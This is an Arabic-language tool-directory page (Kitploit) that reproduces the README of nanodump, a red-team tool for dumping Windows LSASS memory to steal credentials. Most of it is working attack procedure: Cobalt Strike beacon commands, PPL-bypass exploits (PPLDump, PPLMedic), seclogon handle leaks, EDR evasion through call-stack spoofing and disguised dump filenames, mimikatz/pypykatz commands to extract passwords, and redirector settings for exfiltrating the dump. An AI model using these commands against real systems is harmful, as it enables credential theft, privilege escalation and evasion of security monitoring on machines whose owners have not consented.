Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nanodump — سكين الجيش السويسري لـ LSASS dumping | Kitploit
أدوات/GitHubGitHub/fortra/nanodump
تصعيد الامتيازاتتحليل الذاكرة الجنائيالاستغلالما بعد الاستغلالاختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubfortra/nanodump

nanodump

سكين الجيش السويسري لـ LSASS dumping

عرض المستودع
2.1k272منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

NanoDump

أداة مرنة تقوم بإنشاء minidump لعملية LSASS.

screenshot

جدول المحتويات

  1. الاستخدام
  2. الميزات
  3. الجمع بين التقنيات
  4. الأمثلة
  5. معيدات التوجيه HTTPS

1. الاستخدام

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

الاستنساخ

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

التجميع (اختياري)

على Linux باستخدام MinGW

root@kitploit:~
make -f Makefile.mingw

على Windows باستخدام MSVC (لا يدعم BOF)

root@kitploit:~
nmake -f Makefile.msvc

الاستيراد (CobaltStrike فقط)

قم باستيراد البرنامج النصي NanoDump.cna على Cobalt Strike.

التشغيل

قم بتشغيل الأمر nanodump في وحدة التحكم Beacon أو الملف الثنائي nanodump.x64.exe.

استعادة التوقيع

إذا لم تحدد العلامة --valid، فستحتاج إلى استعادة التوقيع غير الصالح

root@kitploit:~
scripts/restore_signature <dumpfile>

الحصول على الأسرار

mimikatz:
للحصول على الأسرار، قم بتشغيل:

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
إذا كنت تفضل البقاء على Linux، يمكنك استخدام نسخة python3 من mimikatz المسماة pypykatz:

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. الميزات

انشقاق العملية

لتجنب فتح مقبض (handle) إلى LSASS باستخدام PROCESS_VM_READ، يمكنك استخدام المعامل --fork.
سيؤدي هذا إلى جعل nanodump ينشئ مقبضًا إلى LSASS بصلاحية PROCESS_CREATE_PROCESS ثم يقوم بإنشاء 'نسخة' من العملية. سيتم بعد ذلك تفريغ (dump) هذه العملية الجديدة. بينما سيؤدي هذا إلى إنشاء عملية وحذفها، فإنه يلغي الحاجة إلى قراءة LSASS مباشرة.

اللقطة

على غرار خيار --fork، يمكنك استخدام --snapshot لإنشاء لقطة (snapshot) من عملية LSASS.
سيؤدي هذا إلى جعل nanodump ينشئ مقبضًا إلى LSASS بصلاحية PROCESS_CREATE_PROCESS ثم يقوم بإنشاء لقطة للعملية باستخدام PssNtCaptureSnapshot. سيتم بعد ذلك تفريغ هذه العملية الجديدة. سيتم تحرير اللقطة تلقائيًا عند الانتهاء.

ازدواجية المقبض

نظرًا لأن فتح مقبض إلى LSASS يمكن اكتشافه، يمكن لـ nanodump بدلاً من ذلك البحث عن مقابض موجودة بالفعل لـ LSASS.
إذا تم العثور على واحد، فسوف يقوم بنسخه واستخدامه لإنشاء minidump.
لاحظ أنه ليس مضمونًا العثور على مثل هذا المقبض.

رفع صلاحية المقبض

يمكنك الحصول على مقبض إلى LSASS مع PROCESS_QUERY_LIMITED_INFORMATION، والذي من المحتمل أن يكون مدرجًا في القائمة البيضاء، ثم رفع صلاحية ذلك المقبض عن طريق ازدواجه.

تسرب مقبض seclogon محليًا

لتجنب فتح مقبض إلى LSASS، يمكنك إساءة استخدام خدمة seclogon عن طريق استدعاء CreateProcessWithLogonW لتسريب مقبض LSASS إلى الملف الثنائي nanodump.
لتمكين هذه الميزة، استخدم المعامل --seclogon-leak-local.
ضع في اعتبارك أنه عند الاستخدام من Cobalt Strike، يجب كتابة ملف ثنائي nanodump غير موقع على القرص لاستخدام هذه الميزة.

تسرب مقبض seclogon عن بعد

هذه التقنية مشابهة جدًا للتقنية السابقة، ولكن بدلاً من تسريب المقبض إلى nanodump، يتم تسريبه إلى ملف ثنائي آخر ثم ازدواجه حتى يتمكن nanodump من استخدامه. استخدم العلامة --seclogon-leak-remote للوصول إلى هذه الوظيفة.

ازدواجية مقبض seclogon

يمكنك خداع عملية seclogon لفتح مقبض إلى LSASS وازدواجه قبل إغلاقه، وذلك بالفوز بسباق حالة باستخدام أقفال الملفات. استخدم العلامة --seclogon-duplicate للوصول إلى هذه الوظيفة.

تحميل nanodump كـ SSP

يمكنك تحميل nanodump كـ SSP في LSASS لتجنب فتح مقبض.
عندما يتم تحميل DLL في LSASS، سيتم تمرير المعلمات عبر named pipe وبمجرد اكتمال التفريغ، سيعيد DllMain القيمة FALSE لجعل LSASS يقوم بإلغاء تحميل DLL النانودمب.
يمكنك تضمين المعلمات بشكل ثابت (hardcode) في DLL وتجنب استخدام named pipe تمامًا باستخدام علامة المترجم PASS_PARAMS_VIA_NAMED_PIPES=0.

رفع وتحميل DLL لـ nanodump

افتراضيًا، سيتم رفع DLL غير موقع لـ nanodump إلى مجلد Temp وسيتم حذفه تلقائيًا.

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

إذا كنت ترغب في تحميل DLL موجود مسبقًا، يمكنك تشغيل:

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

استغلال PPL Dump

إذا كان LSASS يعمل كعملية محمية خفيفة (PPL)، يمكنك محاولة تجاوزها باستخدام استغلال (exploit) على مستوى المستخدم اكتشفه Project Zero. إذا كان ناجحًا، سيتم كتابة التفريغ على القرص.

لاحظ أن هذه الثغرة قد تم إصلاحها في حزمة تحديث يوليو 2022 (Windows 10 21H2 Build 19044.1826)

للوصول إلى هذه الميزة، استخدم الأمر nanodump_ppl_dump

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

استغلال PPL Medic

يقوم Nanodump أيضًا بتنفيذ استغلال PPLMedic، الذي يعمل على الأنظمة التي تحتوي على حزمة تحديث يوليو 2022.
سيتم تمرير المعلمات إلى DLL النانودمب عبر named pipe. يمكنك تضمين المعلمات بشكل ثابت في DLL وتجنب استخدام named pipe تمامًا باستخدام علامة المترجم PASS_PARAMS_VIA_NAMED_PIPES=0.

للوصول إلى هذه الميزة، استخدم الأمر nanodump_ppl_medic

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

يمكنك إجبار عملية WerFault.exe على إنشاء تفريغ ذاكرة كامل لـ LSASS. ضع في اعتبارك أن هذا يتطلب القدرة على الكتابة إلى السجل (registry)

نظرًا لأن التفريغ لا يتم بواسطة nanodump، فسيكون له دائمًا توقيع صالح.

خروج العملية الصامت (Silent Process Exit)

لاستخدام تقنية خروج العملية الصامت، استخدم المعامل --silent-process-exit والمسار الذي يجب إنشاء التفريغ فيه.

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

سيتم أيضًا إنشاء تفريغ لعملية nanodump، مشابه لهذا:

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

يمكنك أيضًا استخدام تقنية Shtinkering، والتي تتطلب تشغيل nanodump تحت حساب SYSTEM:

root@kitploit:~
beacon> nanodump --shtinkering

سيتم إنشاء التفريغ عادةً تحت C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps

تزييف مكدس الاستدعاء (Spoof the callstack)

يمكنك فتح مقبض إلى LSASS باستخدام مكدس استدعاء مزيف لجعل استدعاء الدالة يبدو أكثر شرعية (خاصة إذا تم تشغيله كـ BOF).
للوصول إلى هذه الميزة، استخدم المعامل --spoof-callstack.

3. الجمع بين التقنيات

يمكنك الجمع بين العديد من التقنيات لتخصيص كيفية عمل nanodump.
يشير الجدول التالي إلى العلامات التي يمكن استخدامها معًا.

4. الأمثلة

قراءة LSASS بشكل غير مباشر عن طريق إنشاء fork وكتابة التفريغ إلى القرص بتوقيع غير صالح:

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

استخدم تسرب seclogon عن بعد لتسريب مقبض LSASS في عملية notepad، وازدواج ذلك المقبض للحصول على وصول إلى LSASS، ثم قراءته بشكل غير مباشر عن طريق إنشاء fork وتنزيل التفريغ بتوقيع صالح:

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

الحصول على مقبض باستخدام تسرب seclogon محليًا، وقراءة LSASS بشكل غير مباشر باستخدام fork وكتابة التفريغ إلى القرص بتوقيع صالح (سيتم رفع ملف ثنائي nanodump!):

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

تنزيل التفريغ بتوقيع غير صالح (الافتراضي):

root@kitploit:~
beacon> nanodump

ازدواج مقبض موجود وكتابة التفريغ إلى القرص بتوقيع غير صالح:

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

الحصول على PID الخاص بـ LSASS:

root@kitploit:~
beacon> nanodump --getpid

تحميل nanodump في LSASS كـ SSP (سيتم رفع ملف ثنائي nanodump!):

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

تفريغ LSASS مع تجاوز PPL باستخدام استغلال PPLDump، وازدواج المقبض الذي تمتلكه csrss.exe على LSASS:

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

تفريغ LSASS مع تجاوز PPL باستخدام استغلال PPLMedic، وفتح مقبض منخفض الصلاحية إلى LSASS ثم رفع صلاحيته:

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

خداع seclogon لفتح مقبض إلى LSASS وازدواجه، ثم تنزيل التفريغ بتوقيع غير صالح:

root@kitploit:~
beacon> nanodump --seclogon-duplicate

جعل عملية WerFault.exe تنشئ تفريغ ذاكرة كامل في مجلد Temp:

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

فتح مقبض إلى LSASS باستخدام مكدس استدعاء مزيف وتنزيل minidump بتوقيع غير صالح:

root@kitploit:~
beacon> nanodump --spoof-callstack

استخدام تقنية Shtinkering:

root@kitploit:~
beacon> nanodump --shtinkering

الحصول على مقبض باستخدام تسرب seclogon محليًا وإنشاء التفريغ باستخدام تقنية Shtinkering:

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

الحصول على مقبض بصلاحيات منخفضة ورفع صلاحيته باستخدام elevate handle:

root@kitploit:~
beacon> nanodump --elevate-handle

الحصول على مقبض بصلاحيات منخفضة باستخدام مكدس استدعاء مزيف ورفع صلاحيته باستخدام elevate handle:

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

ازدواج مقبض منخفض الصلاحية موجود ورفع صلاحيته باستخدام elevate handle:

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. معيدات التوجيه HTTPS

إذا كنت تستخدم معيد توجيه HTTPS (كما ينبغي)، فقد تواجه مشكلات عند تنزيل التفريغ بدون ملف بسبب حجم الطلبات التي تسرب التفريغ.
قم بزيادة الحد الأقصى لحجم الطلبات على خادم الويب الخاص بك للسماح لـ nanodump بتنزيل التفريغ.

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

الشكر والتقدير

  • skelsec لكتابة minidump، والذي كان حاسمًا لتعلم تنسيق ملف minidump.
  • freefirex من CS-Situational-Awareness-BOF في Trustedsec للعديد من الحيل الرائعة لـ BOFs
  • Jackson_T لـ SysWhispers2
  • BillDemirkapi لـ Process Forking
  • Antonio Cocomazzi لـ Abusing leaked handles to dump LSASS memory و Racing for LSASS dumps
  • xpn لـ Exploring Mimikatz - Part 2 - SSP
  • Matteo Malvica لـ Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start
  • James Forshaw لـ Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
  • itm4n للتنفيذ الأصلي لاستغلالات PPL على مستوى المستخدم، PPLDump و PPLMedic.
  • Asaf Gilboa لـ Lsass Memory Dumps are Stealthier than Ever Before - Part 2 وتقنية Shtinkering
تنزيل الأداة
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
  • William Burgess لـ Spoofing Call Stacks To Confuse EDRs
  • Sebastian Feldmann و Fabian لتقنية elevate handle التي نوقشت في Morph Your Malware!